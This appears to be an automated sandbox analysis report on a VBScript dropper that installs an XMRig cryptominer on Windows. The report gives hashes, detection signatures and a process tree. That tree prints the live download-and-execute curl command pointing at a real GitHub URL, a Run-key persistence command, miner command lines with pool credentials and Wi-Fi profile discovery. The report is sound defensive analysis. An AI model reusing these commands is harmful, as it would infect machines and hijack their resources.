xmrig | 979351e1103a56b1084347b0e0e71ecd793d3622fbfbdda2699910f79abda4fe

Analysis

user interaction
yes
max time kernel
126s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/10/2026, 22:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
multitool.vbs
Size 305B
Sample261003-2b2jpsybka
SHA256 979351e1103a56b1084347b0e0e71ecd793d3622fbfbdda2699910f79abda4fe
MD5 2b57f22ab0e51075b100a2cda9197e5c
SHA1 c5ed414cfc653784d08c39b10085b479a66e2380
SHA512 844af9a1f39ebd0f4441ed91dab8c35d0b84aad9fa1ae0984d42cb4f4a5392fe5acc3ce1f389c7600b7f62abb0ff7432430200976f2ee6104f56b5002d9f7d08
TLSH
T1CFE0CD9BF0149C355A1250F56124AD5E1DE3C5068850E9B4A81A542C639456621A6597
MD5 SHA1 SHA512 TLSH

Score

10^/10

discovery execution xmrig miner

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000e00000001c422-148.dat	family_xmrig
behavioral2/files/0x000e00000001c422-148.dat	xmrig

Downloads MZ/PE file 1 IoCs

flow	pid	Process
2	3688	curl.exe

Executes dropped EXE 4 IoCs

pid	Process
5928	svchost.exe
2936	svchost.exe
124	svchost.exe
1768	svchost.exe

Contacts third-party web service commonly abused for C2 1 TTPs 9 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
11	raw.githubusercontent.com
24	raw.githubusercontent.com
31	raw.githubusercontent.com
1	raw.githubusercontent.com
20	raw.githubusercontent.com
22	raw.githubusercontent.com
2	raw.githubusercontent.com
9	raw.githubusercontent.com
10	raw.githubusercontent.com

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
6080	WScript.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5928 set thread context of 2860	5928	svchost.exe	95
PID 2936 set thread context of 3880	2936	svchost.exe	102
PID 124 set thread context of 716	124	svchost.exe	103

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 7 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2696	cmd.exe
3408	cmd.exe
5076	cmd.exe
4500	cmd.exe
3404	cmd.exe
4764	cmd.exe
4460	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 12 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3404	cmd.exe
5256	netsh.exe
4460	cmd.exe
2696	cmd.exe
6600	netsh.exe
5076	cmd.exe
4764	cmd.exe
5112	netsh.exe
3408	cmd.exe
6592	netsh.exe
6832	netsh.exe
1400	netsh.exe

Modifies registry key 1 TTPs 5 IoCs

Modify Registry

T1112

pid	Process
5732	reg.exe
1404	reg.exe
2824	reg.exe
1888	reg.exe
6788	reg.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 6080 wrote to memory of 4500	6080	WScript.exe	91
PID 4500 wrote to memory of 3688	4500	cmd.exe	93
PID 4500 wrote to memory of 5928	4500	cmd.exe	94
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 5928 wrote to memory of 2860	5928	svchost.exe	95
PID 2860 wrote to memory of 2936	2860	notepad.exe	96
PID 2860 wrote to memory of 124	2860	notepad.exe	97
PID 2860 wrote to memory of 1768	2860	notepad.exe	98
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 2936 wrote to memory of 3880	2936	svchost.exe	102
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 124 wrote to memory of 716	124	svchost.exe	103
PID 3880 wrote to memory of 5732	3880	notepad.exe	104

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	2	curl/8.8.0

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\multitool.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:6080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "https://raw.githubusercontent.com/h29udrhb90824db0824n0d/do-not-download-this-exe-file-/refs/heads/main/svchost.exe" && start "" "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4500
- - C:\Windows\system32\curl.exe
    curl -s -L -o "C:\Users\Admin\AppData\Local\Temp\svchost.exe" "https://raw.githubusercontent.com/h29udrhb90824db0824n0d/do-not-download-this-exe-file-/refs/heads/main/svchost.exe"
    3⤵
    - Downloads MZ/PE file
    PID:3688
- - C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:5928
  - - C:\Windows\system32\notepad.exe
      "C:\Windows\system32\notepad.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2860
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe --persist-worker
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2936
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3880
        
        C:\Windows\system32\reg.exe
        
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        7⤵
        Modifies registry key
        
        PID:5732
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe --guard 2860
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:124
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:716
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe --persist-worker
        7⤵
        
        PID:2104
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:4256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 716
        7⤵
        
        PID:5488
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:2148
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        9⤵
        
        PID:4912
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:4752
        
        C:\Windows\system32\reg.exe
        
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        11⤵
        Modifies registry key
        
        PID:1888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2148
        9⤵
        
        PID:5896
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:2388
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        11⤵
        
        PID:5892
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:4680
        
        C:\Windows\system32\reg.exe
        
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        13⤵
        Modifies registry key
        
        PID:6788
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2388
        11⤵
        
        PID:5408
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:6712
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2388 5408
        11⤵
        
        PID:2024
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:1552
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2148 5896
        9⤵
        
        PID:5380
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:2904
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        11⤵
        
        PID:1620
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:3932
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2904
        11⤵
        
        PID:3688
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:4288
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        13⤵
        
        PID:4544
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2904 3688
        11⤵
        
        PID:2448
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        12⤵
        
        PID:6972
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2148
        9⤵
        
        PID:2876
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6340
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2148 2876
        9⤵
        
        PID:5112
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:4792
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 716 5488
        7⤵
        
        PID:3860
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:2348
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        9⤵
        
        PID:1788
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6200
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2348
        9⤵
        
        PID:696
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6756
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2348 696
        9⤵
        
        PID:5600
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6268
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 716
        7⤵
        
        PID:5776
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6160
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\TextInputHost.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\TextInputHost.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
        7⤵
        
        PID:4108
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 716 5776
        7⤵
        
        PID:2624
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6852
    - - C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe --gravedigger 2860 124
        5⤵
        Executes dropped EXE
        
        PID:1768
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:3352
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe
        
        C:\Users\Admin\AppData\Local\Temp\svchost.exe --persist-worker
        7⤵
        
        PID:3384
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:2884
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 3352
        7⤵
        
        PID:3736
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:2396
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        9⤵
        
        PID:3464
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:1336
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2396
        9⤵
        
        PID:5068
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6664
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        11⤵
        
        PID:6920
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 6664
        11⤵
        
        PID:6928
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2396 5068
        9⤵
        
        PID:2884
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6256
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
        11⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        11⤵
        
        PID:6808
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        9⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3408
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6832
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        9⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2696
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6592
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 3352 3736
        7⤵
        
        PID:2784
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:2940
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        9⤵
        
        PID:460
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:3856
        
        C:\Windows\system32\reg.exe
        
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        11⤵
        Modifies registry key
        
        PID:1404
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2940
        9⤵
        
        PID:6040
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6224
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2940 6040
        9⤵
        
        PID:4848
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6172
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        7⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5076
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1400
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        7⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4764
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5112
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 3352
        7⤵
        
        PID:1972
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:1800
        
        C:\Windows\system32\notepad.exe
        
        C:\Windows\system32\notepad.exe dxgicheck
        7⤵
        
        PID:5436
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2860
        5⤵
        
        PID:2376
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:4384
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        7⤵
        
        PID:3700
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6516
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 4384
        7⤵
        
        PID:4552
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6276
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 4384 4552
        7⤵
        
        PID:1268
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6348
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        7⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4460
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:6600
    - - C:\Windows\system32\cmd.exe
        
        cmd.exe /c "netsh wlan show profiles"
        5⤵
        Executes a command shell one-liner
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:3404
      - C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5256
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2860 2376
        5⤵
        
        PID:3760
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:1392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        7⤵
        
        PID:5660
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:5948
        
        C:\Windows\system32\reg.exe
        
        reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v WindowsUpdate /t REG_SZ /d C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe /f
        9⤵
        Modifies registry key
        
        PID:2824
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 1392
        7⤵
        
        PID:2600
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:4392
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        9⤵
        
        PID:3280
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 4392
        9⤵
        
        PID:4176
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        10⤵
        
        PID:924
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --persist-worker
        11⤵
        
        PID:5548
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 924
        11⤵
        
        PID:1888
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 924 1888
        11⤵
        
        PID:6244
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
        9⤵
        
        PID:4840
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 4392 4176
        9⤵
        
        PID:2764
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 1392 2600
        7⤵
        
        PID:2816
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:6304
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 1392
        7⤵
        
        PID:5864
        
        C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        8⤵
        
        PID:7128
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 1392 5864
        7⤵
        
        PID:1900
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\Widgets.exe -o xmr-eu.kryptex.network:7029 -u krxX729EZE/worker1 -p x
        5⤵
        
        PID:5444
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --guard 2860
        5⤵
        
        PID:8
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:6212
    - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe --gravedigger 2860 8
        5⤵
        
        PID:5468
      - C:\Windows\system32\notepad.exe
        
        "C:\Windows\system32\notepad.exe"
        6⤵
        
        PID:6648

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:3388

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Update\WindowsUpdate.exe
1⤵
PID:5608
- C:\Windows\system32\notepad.exe
  "C:\Windows\system32\notepad.exe"
  2⤵
  PID:576
